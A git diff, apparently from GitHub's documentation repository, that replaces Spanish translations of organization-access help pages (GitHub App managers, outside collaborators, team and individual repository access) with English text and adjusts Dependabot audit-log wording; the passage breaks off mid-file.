[`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." | [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %} | [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." @@ -71,7 +71,7 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %} | [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} | [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %} -| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot %} alerts.{% endif %}{% ifversion ghec %} +| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %} | [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} | [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." | [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %} @@ -661,8 +661,8 @@ For more information, see "[Managing the publication of {% data variables.produc | Action | Description |------------------|------------------- -| `create` | Triggered when {% data variables.product.product_name %} creates a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert about a vulnerable dependency. +| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency. | `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency. {% endif %}{% ifversion fpt or ghec %} diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md index 7087d8ed17..e12220689a 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Agregar administradores de App GitHub a tu organización -intro: 'Los propietarios de la organización pueden conceder a los usuarios la capacidad para administrar alguna o todas las {% data variables.product.prodname_github_apps %} que le pertenecen a la organización.' +title: Adding GitHub App managers in your organization +intro: 'Organization owners can grant users the ability to manage some or all {% data variables.product.prodname_github_apps %} owned by the organization.' redirect_from: - /articles/adding-github-app-managers-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization @@ -12,29 +12,32 @@ versions: topics: - Organizations - Teams -shortTitle: Agregar administradores de GitHub Apps +shortTitle: Add GitHub App managers --- For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)." -## Brindar a alguien la posibilidad de administrar todas las {% data variables.product.prodname_github_apps %} que son propiedad de la organización +## Giving someone the ability to manage all {% data variables.product.prodname_github_apps %} owned by the organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} -1. En "Management" (Administración), escribe el nombre de usuario de la persona a quien deseas designar como gerente de {% data variables.product.prodname_github_app %} en la organización, y haz clic en **Grant** (Conceder). ![Agregar un administrador de {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/add-github-app-manager.png) +1. Under "Management", type the username of the person you want to designate as a {% data variables.product.prodname_github_app %} manager in the organization, and click **Grant**. +![Add a {% data variables.product.prodname_github_app %} manager](/assets/images/help/organizations/add-github-app-manager.png) -## Brindar a alguien la posibilidad de administrar un {% data variables.product.prodname_github_app %} individual +## Giving someone the ability to manage an individual {% data variables.product.prodname_github_app %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} -1. Debajo de "{% data variables.product.prodname_github_apps %}s", haz clic en el avatar de la app a la que quieres agregar un administrador de {% data variables.product.prodname_github_app %}. ![Seleccionar {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) +1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to add a {% data variables.product.prodname_github_app %} manager for. +![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) {% data reusables.organizations.app-managers-settings-sidebar %} -1. En "App managers" (Administradores de la app), escribe el nombre de usuario de la persona a quien deseas designar como administrador de la App GitHub para la app, y haz clic en **Grant** (Conceder). ![Agregar un administrador de {% data variables.product.prodname_github_app %} para una app específica](/assets/images/help/organizations/add-github-app-manager-for-app.png) +1. Under "App managers", type the username of the person you want to designate as a GitHub App manager for the app, and click **Grant**. +![Add a {% data variables.product.prodname_github_app %} manager for a specific app](/assets/images/help/organizations/add-github-app-manager-for-app.png) {% ifversion fpt or ghec %} -## Leer más +## Further reading -- "[Acerca de {% data variables.product.prodname_dotcom %} Mercado](/articles/about-github-marketplace/)" +- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)" {% endif %} diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md index ef0fbafce0..58f09cc972 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Eliminar administradores de App GitHub de tu organización -intro: 'Los propietarios de la organización pueden revocar los permisos de administrador {% data variables.product.prodname_github_app %} que se le hayan concedido a un miembro de la organización.' +title: Removing GitHub App managers from your organization +intro: 'Organization owners can revoke {% data variables.product.prodname_github_app %} manager permissions that were granted to a member of the organization.' redirect_from: - /articles/removing-github-app-managers-from-your-organization - /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization @@ -12,29 +12,32 @@ versions: topics: - Organizations - Teams -shortTitle: Eliminar administradores de GitHub Apps +shortTitle: Remove GitHub App managers --- For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)." -## Eliminar los {% data variables.product.prodname_github_app %} permisos de un administrador para toda la organización +## Removing a {% data variables.product.prodname_github_app %} manager's permissions for the entire organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} -1. En "Management" (Administración), encuentra el nombre de usuario de la persona para la que quieres eliminar {% data variables.product.prodname_github_app %} los permisos de administrador, luego haz clic en **Revoke** (Revocar). ![Revocar {% data variables.product.prodname_github_app %} permisos de administrador](/assets/images/help/organizations/github-app-manager-revoke-permissions.png) +1. Under "Management", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**. +![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions.png) -## Eliminar los {% data variables.product.prodname_github_app %} permisos de administrador para una persona {% data variables.product.prodname_github_app %} +## Removing a {% data variables.product.prodname_github_app %} manager's permissions for an individual {% data variables.product.prodname_github_app %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} -1. Debajo de "{% data variables.product.prodname_github_apps %}s", haz clic en el avatar de la app de la que quieres eliminar un administrador de {% data variables.product.prodname_github_app %}. ![Seleccionar {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) +1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to remove a {% data variables.product.prodname_github_app %} manager from. +![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) {% data reusables.organizations.app-managers-settings-sidebar %} -1. En "App managers" (Administradores de app), encuentra el nombre de usuario de la persona para la que quieres eliminar {% data variables.product.prodname_github_app %} los permisos de administrador, luego haz clic en **Revoke** (Revocar). ![Revocar {% data variables.product.prodname_github_app %} permisos de administrador](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png) +1. Under "App managers", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**. +![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png) {% ifversion fpt or ghec %} -## Leer más +## Further reading -- "[Acerca de {% data variables.product.prodname_dotcom %} Mercado](/articles/about-github-marketplace/)" +- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)" {% endif %} diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md index 9f432671b6..3440ab701d 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md @@ -1,6 +1,6 @@ --- -title: Convertir a un miembro de la organización en un colaborador externo -intro: 'Si un miembro actual de tu organización solo necesita acceso a determinados repositorios, como consultores o empleados temporales, puedes convertirlo en un *colaborador externo".' +title: Converting an organization member to an outside collaborator +intro: 'If a current member of your organization only needs access to certain repositories, such as consultants or temporary employees, you can convert them to an *outside collaborator*.' redirect_from: - /articles/converting-an-organization-member-to-an-outside-collaborator - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-member-to-an-outside-collaborator @@ -12,35 +12,38 @@ versions: topics: - Organizations - Teams -shortTitle: Convertir un miembro en colaborador +shortTitle: Convert member to collaborator --- -{% data reusables.organizations.owners-and-admins-can %} convertir a los miembros de la organización en colaboradores externos. +{% data reusables.organizations.owners-and-admins-can %} convert organization members into outside collaborators. -{% data reusables.organizations.outside-collaborators-use-seats %}{% data reusables.organizations.outside_collaborator_forks %} +{% data reusables.organizations.outside-collaborators-use-seats %} {% data reusables.organizations.outside_collaborator_forks %} -Luego de convertir a un miembro de la organización en un colaborador externo, solo tendrá acceso a los repositorios que permite su membresía de equipo actual. La persona ya no será un miembro explícito de la organización, y ya no podrá: +After converting an organization member to an outside collaborator, they'll only have access to the repositories that their current team membership allows. The person will no longer be an explicit member of the organization, and will no longer be able to: -- Crear equipos -- Ver todos los miembros y equipos de la organización -- @mencionar cualquier equipo visible -- Ser un mantenedor del equipo +- Create teams +- See all organization members and teams +- @mention any visible team +- Be a team maintainer For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Recomendamos revisar el acceso del miembro de la organización a los repositorios para garantizar que su acceso sea el que esperas. Para obtener más información, consulta la sección "[Administrar el acceso de un individuo a un repositorio de la organización](/articles/managing-an-individual-s-access-to-an-organization-repository)". +We recommend reviewing the organization member's access to repositories to ensure their access is as you expect. For more information, see "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)." -Cuando conviertes a un miembro de la organización en un colaborador externo, sus privilegios como miembro de la organización se guardan durante tres meses para que puedas restaurar sus privilegios de membresía si lo{% ifversion fpt or ghec %}invitas a unirse nuevamente{% else %} lo vuelves a agregar{% endif %} a tu organización dentro de ese período. Para obtener más información, consulta "[Reinstalar un miembro antiguo de tu organización](/enterprise/{{ page.version }}/user/articles/reinstating-a-former-member-of-your-organization)". +When you convert an organization member to an outside collaborator, their privileges as organization members are saved for three months so that you can restore their membership privileges if you{% ifversion fpt or ghec %} invite them to rejoin{% else %} add them back to{% endif %} your organization within that time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. Selecciona la persona o las personas a quienes deseas convertir en colaboradores externos. ![Lista de miembros con dos miembros seleccionados](/assets/images/help/teams/list-of-members-selected-bulk.png) -5. Arriba de la lista de miembros, utiliza el menú desplegable y haz clic en **Convert to outside collaborator** (Convertir en colaborador externo). ![Menú desplegable con la opción para convertir miembros en colaboradores externos](/assets/images/help/teams/user-bulk-management-options.png) -6. Lee la información sobre cómo convertir miembros en colaboradores externos, luego haz clic en **Convert to outside collaborator** (Convertir en colaborador externo). ![Información sobre permisos de colaboradores externos y botón Convert to outside collaborators (Convertir en colaboradores externos)](/assets/images/help/teams/confirm-outside-collaborator-bulk.png) +4. Select the person or people you'd like to convert to outside collaborators. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu and click **Convert to outside collaborator**. + ![Drop-down menu with option to convert members to outside collaborators](/assets/images/help/teams/user-bulk-management-options.png) +6. Read the information about converting members to outside collaborators, then click **Convert to outside collaborator**. + ![Information on outside collaborators permissions and Convert to outside collaborators button](/assets/images/help/teams/confirm-outside-collaborator-bulk.png) -## Leer más +## Further reading -- "[Agregar colaboradores externos a repositorios de tu organización](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" -- "[Eliminar a un colaborador externo desde el repositorio de una organización](/articles/removing-an-outside-collaborator-from-an-organization-repository)" -- "[Convertir a un colaborador externoe en un miembro de la organización](/articles/removing-an-outside-collaborator-from-an-organization-repository)" +- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)" +- "[Converting an outside collaborator to an organization member](/articles/converting-an-outside-collaborator-to-an-organization-member)" diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md index 12fcbe4471..17c4566565 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md @@ -1,6 +1,6 @@ --- -title: Convertir un colaborador externo en un miembro de la organización -intro: 'Si deseas que un colaborador externo en los repositorios de la organización tenga más permisos dentro de tu organización, puedes {% ifversion fpt or ghec %}invitarlo a convertirse en miembro de{% else %}convertirlo en miembro de{% endif %} la organización.' +title: Converting an outside collaborator to an organization member +intro: 'If you would like to give an outside collaborator on your organization''s repositories broader permissions within your organization, you can {% ifversion fpt or ghec %}invite them to become a member of{% else %}make them a member of{% endif %} the organization.' redirect_from: - /articles/converting-an-outside-collaborator-to-an-organization-member - /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member @@ -13,11 +13,10 @@ permissions: 'Organization owners can {% ifversion fpt or ghec %}invite users to topics: - Organizations - Teams -shortTitle: Convertir a un colaborador en miembro +shortTitle: Convert collaborator to member --- - {% ifversion fpt or ghec %} -Si tu organización está en una suscripción de pago por usuario, debes contar con una licencia sin utilizarse antes de que puedas invitar a un nuevo miembro a unirse a tu organización o a reinstalar a un miembro previo de la misma. Para obtener más información, consulta "[About per-user pricing](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-expiration %}{% endif %} +If your organization is on a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-expiration %}{% endif %} {% ifversion not ghae %} If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users {% ifversion fpt or ghec %}you invite must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before they can accept the invitation.{% else %}must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.{% endif %} @@ -28,9 +27,9 @@ If your organization [requires members to use two-factor authentication](/articl {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} {% ifversion fpt or ghec %} -5. A la derecha del nombre del colaborador externo que quieres hacer miembro, usa el menú desplegable {% octicon "gear" aria-label="The gear icon" %} y haz clic en **Invitar a la organización**.![Invitar colaboradores externos a la organización](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png) +5. To the right of the name of the outside collaborator you want to become a member, use the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png) {% else %} -5. A la derecha del nombre del colaborador externo que quieres hacer miembro, haz clic en **Invite to organization** (Invitar a la organización).![Invitar colaboradores externos a la organización](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png) +5. To the right of the name of the outside collaborator you want to become a member, click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png) {% endif %} {% data reusables.organizations.choose-to-restore-privileges %} {% data reusables.organizations.choose-user-role-send-invitation %} @@ -38,6 +37,6 @@ If your organization [requires members to use two-factor authentication](/articl {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} {% endif %} -## Leer más +## Further reading -- "[Convertir a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)" +- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)" diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md index fde28144b3..ae55c3dd9a 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md @@ -1,6 +1,6 @@ --- -title: Administrar el acceso de una persona a un repositorio de una organización -intro: Puedes administrar el acceso de una persona a un repositorio propiedad de tu organización. +title: Managing an individual's access to an organization repository +intro: You can manage a person's access to a repository owned by your organization. redirect_from: - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program/ - /articles/managing-an-individual-s-access-to-an-organization-repository @@ -14,13 +14,13 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar el acceso individual +shortTitle: Manage individual access permissions: People with admin access to a repository can manage access to the repository. --- ## About access to organization repositories -Cuando eliminas a un colaborador de un repositorio en tu organización, el colaborador pierde el acceso de lectura y escritura al repositorio. Si el repositorio es privado y el colaborador ha bifurcado el repositorio, entonces su bifurcación también se elimina, pero el colaborador conservará cualquier clon local de tu repositorio. +When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository. {% data reusables.repositories.deleted_forks_from_private_repositories_warning %} @@ -30,20 +30,25 @@ Cuando eliminas a un colaborador de un repositorio en tu organización, el colab {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} {% data reusables.organizations.invite-teams-or-people %} -5. In the search field, start typing the name of the person to invite, then click a name in the list of matches. ![Campo de búsqueda para teclear el nombre del equipo o persona que deseas invitar al repositorio](/assets/images/help/repository/manage-access-invite-search-field.png) -6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**. ![Seleccionar los permisos para el equipo o persona](/assets/images/help/repository/manage-access-invite-choose-role-add.png) +5. In the search field, start typing the name of the person to invite, then click a name in the list of matches. + ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png) +6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**. + ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png) -## Administrar el acceso de una persona a un repositorio de una organización +## Managing an individual's access to an organization repository {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. Haz clic en **Members (Miembros)** o **Outside collaborators (Colaboradores externos)** para administrar las personas con diferentes tipos de acceso. ![Botón para invitar a miembros o colaboradores externos a una organización](/assets/images/help/organizations/select-outside-collaborators.png) -5. A la derecha del nombre de la persona que desearías administrar, utiliza el menú desplegable {% octicon "gear" aria-label="The Settings gear" %}, y haz clic en **Manage (Administrar)**. ![Enlace de acceso al gerente](/assets/images/help/organizations/member-manage-access.png) -6. En la página "Manage access" (Administrar el acceso), al lado del repositorio, haz clic en **Manage access (Administrar el acceso)**. ![Botón de administración de acceso a un repositorio](/assets/images/help/organizations/repository-manage-access.png) -7. Revisa el acceso de la persona a un repositorio determinado, como si fuera un colaborador o si tuviera acceso a un repositorio por medio de una membresía de equipo. ![Matriz de acceso a repositorio para el usuario](/assets/images/help/organizations/repository-access-matrix-for-user.png) +4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png) +5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**. + ![The manage access link](/assets/images/help/organizations/member-manage-access.png) +6. On the "Manage access" page, next to the repository, click **Manage access**. +![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png) +7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership. +![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png) -## Leer más +## Further reading -{% ifversion fpt or ghec %}- "[Limitar las interacciones con tu repositorio](/articles/limiting-interactions-with-your-repository)"{% endif %} +{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %} - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md index 2098ae3705..ed598dccd4 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md @@ -1,6 +1,6 @@ --- -title: Administrar el acceso de equipo a un repositorio de la organización -intro: 'Puedes darle acceso de equipo a un repositorio, eliminar el acceso del equipo sobre un repositorio, o cambiar el nivel de permiso del equipo sobre un repositorio.' +title: Managing team access to an organization repository +intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.' redirect_from: - /articles/managing-team-access-to-an-organization-repository-early-access-program/ - /articles/managing-team-access-to-an-organization-repository @@ -13,32 +13,35 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar el acceso de los equipos +shortTitle: Manage team access --- -Las personas con acceso de administrador a un repositorio pueden administrar el acceso del equipo a un repositorio. Los mantenedores del equipo pueden eliminar el acceso de un equipo a un repositorio. +People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository. {% warning %} -**Advertencias:** -- Puedes cambiar el nivel de permiso de un equipo si el equipo tiene acceso directo a un repositorio. Si el acceso del equipo a un repositorio se hereda de un equipo padre, debes cambiar el acceso del equipo padre al repositorio. -- Si agregas o eliminas el acceso al repositorio de un equipo padre, cada uno de sus equipos hijos también recibirá o perderá el acceso al repositorio. Para obtener más información, consulta "[Acerca de los equipos](/articles/about-teams)". +**Warnings:** +- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository. +- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)." {% endwarning %} -## Otorgarle a un equipo acceso a un repositorio +## Giving a team access to a repository {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-repositories-tab %} -5. Encima de la lista de repositorios, haz clic en **Add repository (Agregar repositorio)**. ![Botón Agregar repositorio](/assets/images/help/organizations/add-repositories-button.png) -6. Escribe el nombre de un repositorio, después haz clic en **Add repository to team (Agregar repositorio al equipo)**. ![Campo Buscar repositorio](/assets/images/help/organizations/team-repositories-add.png) -7. De forma opcional, a la derecha del nombre del repositorio, utiliza el menú desplegable y elige un nivel de permiso diferente para el equipo. ![Menú desplegable de nivel de acceso a un repositorio](/assets/images/help/organizations/team-repositories-change-permission-level.png) +5. Above the list of repositories, click **Add repository**. + ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png) +6. Type the name of a repository, then click **Add repository to team**. + ![Repository search field](/assets/images/help/organizations/team-repositories-add.png) +7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team. + ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png) -## Eliminar el acceso de un equipo a un repositorio +## Removing a team's access to a repository -Puedes eliminar el acceso de un equipo a un repositorio si el equipo tiene acceso directo a un repositorio. Si el acceso de un equipo al repositorio se hereda de un equipo padre, debes eliminar el repositorio del equipo padre para poder eliminar el repositorio de los equipos hijos. +You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams. {% data reusables.repositories.deleted_forks_from_private_repositories_warning %} @@ -46,10 +49,13 @@ Puedes eliminar el acceso de un equipo a un repositorio si el equipo tiene acces {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-repositories-tab %} -5. Selecciona el repositorio o los repositorios que deseas eliminar del equipo. ![Lista de repositorios de equipo con casillas de verificación para algunos repositorios seleccionados](/assets/images/help/teams/select-team-repositories-bulk.png) -6. Encima de la lista de repositorios, utiliza el menú desplegable, y haz clic en **Remove from team (Eliminar del equipo)**. ![Menú desplegable con la opción de eliminar un repositorio de un equipo](/assets/images/help/teams/remove-team-repo-dropdown.png) -7. Revisa el o los repositorios que serán eliminados del equipo, después haz clic en **Remove repositories (Eliminar repositorios)**. ![Casilla modal con una lista de repositorios a los que el equipo ya no tiene acceso](/assets/images/help/teams/confirm-remove-team-repos.png) +5. Select the repository or repositories you'd like to remove from the team. + ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png) +6. Above the list of repositories, use the drop-down menu, and click **Remove from team**. + ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png) +7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**. + ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png) -## Leer más +## Further reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md index 4ae30c33d6..2e0fb1830b 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md @@ -1,6 +1,6 @@ --- -title: Reinstalar el acceso de un colaborador externo antiguo a tu organización -intro: 'Puedes reinstaurar los permisos de acceso de un colaborador externo previo para los repositorios, bifurcaciones y configuraciones de la organización.' +title: Reinstating a former outside collaborator's access to your organization +intro: 'You can reinstate a former outside collaborator''s access permissions for organization repositories, forks, and settings.' redirect_from: - /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization - /articles/reinstating-a-former-outside-collaborators-access-to-your-organization @@ -13,29 +13,29 @@ versions: topics: - Organizations - Teams -shortTitle: Reinstaurar a un colaborador +shortTitle: Reinstate collaborator --- -Cuando se elimina el 